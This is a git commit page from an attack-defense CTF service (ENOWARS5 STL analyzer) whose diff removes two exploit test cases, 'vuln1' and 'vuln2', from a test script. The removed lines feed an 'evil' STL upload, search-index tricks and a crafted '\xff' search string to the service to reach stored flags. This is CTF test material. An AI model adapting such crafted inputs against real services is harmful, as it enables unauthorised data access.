enowars5-service-stldoctor

STL-Analyzing A/D Service for ENOWARS5 in 2021
git clone https://git.sinitax.com/sinitax/enowars5-service-stldoctor
Log | Files | Refs | README | LICENSE | sfeed.txt

commit 1218d049de7e380d6ea647a6074b66ce4962e45b
parent 988ab9c0a517e9bc37a6184a6a49a5acd71c86d3
Author: Louis Burda <quent.burda@gmail.com>
Date:   Wed,  2 Jun 2021 00:08:58 +0200

removed exploits from test script since already available in checker

Diffstat:
D.dockerignore | 1-
Mchecker/test.sh | 1+
Mtests/test.sh | 76----------------------------------------------------------------------------
3 files changed, 1 insertion(+), 77 deletions(-)

diff --git a/.dockerignore b/.dockerignore @@ -1 +0,0 @@ -patches diff --git a/checker/test.sh b/checker/test.sh @@ -3,6 +3,7 @@ ipstr="$1" SCRIPTPATH="$(dirname $(readlink -f "$0"))" +cd "$SCRIPTPATH" export REVHASH_PATH="$SCRIPTPATH/src/revhash/revhash" try() { diff --git a/tests/test.sh b/tests/test.sh @@ -97,82 +97,6 @@ elif [ "$1" == "stl-upload" ]; then echo "$name" ) | checkleaks -elif [ "$1" == "vuln1" ]; then - cleanuploads - - announce "Testing Flagstore 1" - - echo -e "\n--- Uploading target STL ---\n" 1>&2 - ( - echo "echo" - echo "upload" - cat "$TESTDATA/flag1.stl" | wc -c - cat "$TESTDATA/flag1.stl" - echo "N0TaFL4G" - echo "exit" - ) | connect - - echo -e "\n--- Uploading evil STL ---\n" 1>&2 - ( - echo "echo" - echo "upload" - cat "$TESTDATA/evil1.stl" | wc -c - cat "$TESTDATA/evil1.stl" - echo "EV1L" - echo "exit" - ) | connect - - echo -e "\n--- Testing Exploit ---\n" 1>&2 - ( - echo "echo" - - # try index 0 - echo "search" - echo "EV1L" - echo "0" - echo "n" - - echo "search last" - echo "0" - echo "n" - - # try index 1 - echo "search" - echo -e "EV1L" - echo "0" - echo "n" - - echo "search last" - echo "1" - echo "n" - echo "exit" - ) | connect - -elif [ "$1" == "vuln2" ]; then - cleanuploads - - announce "Testing Flagstore 2" - - echo -e "\n--- Uploading target STL ---\n" 1>&2 - ( - echo "echo" - echo "auth test" - echo "upload" - cat "$TESTDATA/flag1.stl" | wc -c - cat "$TESTDATA/flag1.stl" - echo "N0TaFL4G" - echo "exit" - ) | connect - - echo -e "\n--- Testing Exploit ---\n" 1>&2 - ( - echo "echo" - echo -e "search \xff\xff\xff\xff\xff0000000000000000" - echo "auth" - echo "list" - echo "exit" - ) | connect - elif [ "$1" == "auth-upload" ]; then cleanuploads